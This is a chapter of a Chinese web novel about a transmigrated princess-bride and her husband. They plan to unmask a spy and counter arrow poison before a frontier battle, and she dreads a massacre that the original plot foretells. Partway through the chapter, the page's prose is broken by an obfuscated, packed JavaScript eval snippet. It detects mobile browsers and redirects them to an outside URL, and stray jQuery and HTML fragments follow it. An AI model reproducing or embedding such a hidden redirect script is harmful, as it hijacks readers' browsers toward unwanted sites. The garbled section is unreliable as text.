18. 回忆

作品:《和亲公主在古代边疆

    药房里烛光微晃,空气中弥漫着令人心安的微苦药香。


    沾着雨雪的披风静静悬挂在熏笼边,陆晏声手中捧着一碗她刚煮好的姜汤。


    热意透过瓷碗熨帖着掌心,辛辣的姜汤驱赶了寒意。


    炭盆和烛火发出细微的声响,眼前人正看着医书,岁月静好。


    也许是这氛围太过安宁,又或许是被牵动到了某段回忆——


    “小时候,我最不喜的便是姜汤。”他望着晃动的烛火,忽然开口。


    宁云昭从医书上轻轻抬眼。


    “那时贪玩,时常与旧友们溜出城去纵马,每次带着一身寒气回家,母亲总会熬上一碗,我总躲着不喝。”


    那是碗暖黄的汤水,和着蜜糖般的温润光泽。


    可下一瞬,那暖色在他眼底骤然变成暗红的粘稠,耳边刀声过后,便是咕噜咕噜的声音,那落地的头颅在地上翻滚了几圈,涣散的瞳孔缓缓对上他的视线,而他什么都做不了。


    “……别指望我哄你喝。”眼前人翻过一页医书,语气平淡:“装可怜也不行。”


    眼前血色场景骤然消散,他倏然回神,闻言怔了片刻,而后低头无奈一笑:“夫人当真有意思极了。”


    说罢,仰头将姜汤一饮而尽。


    “回府么?”见他已缓过神色,她才开口问道:“东大营那边无事了?”


    “嗯,放了半日假,”他手指摩挲着瓷碗,“明日一早,我便得赶回去了。”


    “只放半日?!”她声音蓦地提高,“那你急着赶回来做什么?!”


    “……”


    似是意识到自己有些失态,她拿起医书,掩了小半张小脸,低着声音道:“莫不是有什么紧要事?”


    “……后日我便要领兵,”他缓缓开口道,“去鸣沙岭,助苍北王征战。”


    “这么突然……?”她迅速在脑海中回忆书中情节,鸣沙岭……那确实是陆晏声初露锋芒的地方。


    只是不应该是现在……而是下一次才对。


    “大少主受了重伤,至今未醒。战况多变,苍北王急信让我前去支援。”


    她脑海里都是书中和现实的比对,霎时间有些混乱。


    大少主重伤,书中有写,最后却没有救回来。


    因为那三支箭的箭尖淬了毒,军医寻不到解药,大少主在昏迷中苦苦支撑,终是在一个月后去了。


    “鸣沙岭竟这么难攻?”她喃喃低语,却不像是在问他。


    陆晏声见状挑了挑眉:“我也觉得蹊跷。苍北王兵力强盛,鸣沙岭虽易守难攻,兵士却也不足两千人,每次大军深入,不是遭提前伏击,便是粮草后方出了事,何以……”


    他蓦地停住,每次?为何是每次——


    “苍北军中有细作,怕是来头不小,已经身居高位了……”心中猜想与眼前人低语重合,她手指节轻轻敲着桌子,右手腕的那点小痣在袖间若隐若现。


    他知道其中利害:“若不把此人揪出,死伤只会更重……也难以攻下鸣沙岭了。”


    宁云昭闻言起身,到一旁书架上细细翻找着什么。他拿过一旁的纸笔,将传信中所附的鸣沙岭地形默画出来。


    鸣沙岭地势险峻,若要攻占,必经“一线天”——那仿若是一把巨斧劈出的狭窄过道,仅供八九人并肩人行走,若要绕过一线天,带着大队人马,怕是要走上一两个月。


    二少主曾带着精锐小队绕路,结果也是遭人埋伏,粮草断绝,险些回不到大营中。


    只是要如何将这个细作揪出来……


    “你看,”思绪被打断,她递来一本翻开的医书,那一页画着一株植物的图,旁边注着“沙毒木”。


    “书中记载,沙毒木生于鸣沙岭,汁液有剧毒,此物一年四季都长。”


    “你是说……”


    “大少主受了箭伤,若是有人将此物涂抹在箭尖,军医纵然能治外伤,对这未知的毒也无从下手。”


    陆晏声没有说话——他并未告诉她,大少主中的是箭伤。


    她声音轻柔,墨玉般的眸子在烛光下更显温润:“你此次前去还需担心,他们或许会在水源处下毒。”


    蓦地回神,他勉强将思绪拉回:“可有解毒之法?”


    那人却横了他一眼:“你真当我是神医啊?此物我只在书上见过。”


    “……”


    “不过……”她把那医书轻轻放在桌上,“有毒药的地方,附近往往就有解药。我猜,沙毒木生长的地方,附近应当有解药。”


    “如此,那我便赌一把。”他眼神紧盯地图上某处,那是大少主遭受伏击的地方,“顺道将那细作揪出来。”


    “……要怎么做?”


    “与苍北王汇合后,我会尽力排查可疑之人。”能参与军机部署的高位将领不多,范围应当不大。


    “我会留意沙毒木,若是能找到解药最好,若是找不到,或者无法确认……我便会装作不知情,任由他们在水源处投毒。”他指了指地图上那条代表溪流的墨线,“细作与我们同吃同住,我只要留意哪些人有什么异动就好。”


    “比如忽然不喝水也不吃东西,但我想这很难做到,”他抬起头,笑盈盈地望着她,“若是吃的食物与我们不同,那必定有人暗中送给他,这太过冒险,他们应当不会这么做。”


    “所以,只可能是他随身带有解药。届时只要看清解药模样,一切都可以迎刃而解了。”


    宁云昭闻言不置可否,她没行过兵也没打过仗,虽觉此举太过冒险,但也只是凉凉开口:


    “那你可别让我当了寡妇。”


    他听后轻声笑了,笑意里却褪去了往日的漫不经心,反倒透出几分认真:


    “我可舍不得。”


    夜里大雪纷飞,宁云昭在药房里添厚衣围围脖,陆晏声早已披好披风在门外等候,他召来今日一直在她身侧护卫的旧部,低声询问了几句后,那二人皆是摇头,便挥手让他们先去休息了。


    他们不知大少主受伤的消息,他抬头长吁一口气,白色的雾气袅袅,看不清他眼底的思绪。


    月光清澈明亮,照在雪地上,犹如一路亮着明灯,他们像往常那样,踏着月色慢慢朝府邸走去。


    ——


    天光还未亮,鹅毛大雪簌簌落下,陆晏声带着一包袱的药膏药包,策马向城外驰去。


    雪天路难行,白天街上也几乎见不到人,房屋店铺紧闭着门,烟囱冒着袅袅白烟。


    所幸现下大家有了余粮,又有永宁堂驱寒防病的药丸备着,而成日窝在家中休息,连病痛也少了许多。


    永宁堂才得以在严冬时暂时歇业。


    宁云昭蜷在柔软暖和的被子间,窗外大雪簌簌落下,屋内却温暖惬意。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17058739|194950||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她舒适地眯着眼睛,脑袋有些混沌,听着一边的丫鬟说少主一大早便出了府。


    好坚强的意志力……她模糊地想,她就起不来,索性也不去送他了。


    反正该说的话,昨夜都已说完了。


    只是说起昨夜……她总觉得似乎忽略了什么。


    皱着眉头细思了半晌,却毫无头绪。


    罢了,既然想不起来,大抵也不是什么要紧事。


    勉强起身洗漱更衣,想到要和陆晏声分开数十日,才后知后觉这段时间都见不着他了。


    又想起书中战争残酷,不免又担心起他来。


    骤然闲下来思绪突然变多,她按下胡思乱想,坐于桌前提起笔,想细细理出一条安全的路来。


    如今一切发展都已脱离书中轨迹,她摸索着记忆,飞快地在纸上一一写下书中出现的地点。


    晟朝……苍北国……白水城……鸣沙岭……卜洲……马鞍城……


    马鞍城!


    笔尖一顿,她瞳孔紧缩,若没记错,苍北王攻下卜洲后,下一个目标便是马鞍城!


    马鞍城虽位于白水城更北的地方,却土地肥沃,市井喧嚣,百姓安居乐业,商队络绎不绝。


    可苍北王踏入马鞍城的第一件事,便是屠城。


    书中不过寥寥数语,可现在她身居此中,明白那简单的文字背后是何等尸山血海,残酷无情的事。


    若有一天,是白水城……她不敢细想。


    书中苍北王屠城的原因很简单——他要锤炼陆晏声,更要威慑四方。


    屠城是威慑,是权利的炫耀,在他们眼中,人命如蝼蚁,生杀予夺的快感与威严,填不满他们虚无的内里。


    仿佛只要多杀一人,便能证明自己多么高高在上,这种感觉在蝼蚁们为了活下去,放弃尊严听话任他们摆布捉弄时更加明显。


    会觉得自己是这世界的王。


    乱世之中,仁慈成了没用的品质,残酷反而被视为必需品。


    书中前期几段的陆晏声,虽在兵营里屡得战功,却从来不会杀害无辜百姓。


    既不多沾一个人的血,也不炫耀生杀予夺的权利,这一切被苍北王看在眼里,他道陆晏声不够心狠,成不了大事。


    这才残酷下令——要么参与屠城,要么死在这里。


    苍北军不需要对敌人心慈手软之人。


    书中陆晏声怎么想的她不知道,但他举起了刀。


    鲜血浸透战甲,也浸透他的灵魂。他慢慢变得冷漠残酷,踏着无数尸骨,杀苍北王夺权,举兵踏入晟朝,所到之处鲜血遍地,哀鸿遍野。


    遇见书中女主,是他人生唯一不多的慰藉,女主不知他身份,仅凭善念将他救下藏起。


    于是,陆晏声和女主的爱恨情仇便开始了。


    宁云昭的笔尖悬在纸张上方,心口蓦地有些堵。


    她……实在不愿看到陆晏声变成书中那样。


    现在的他,虽身负深仇,眼底却仍有清明,没有让仇恨蒙蔽了双眼。


    他知道他的仇人是晟朝皇帝,他不会滥杀无辜,也不会视人命为草菅,轻而易举便夺了他人性命。


    墨点在纸上晕开,她望着洇开的黑色沉默半晌,终是搁下了笔。


    罢了,走一步看一步。


    等陆晏声回来,她要寻个时机,旁敲侧击一下。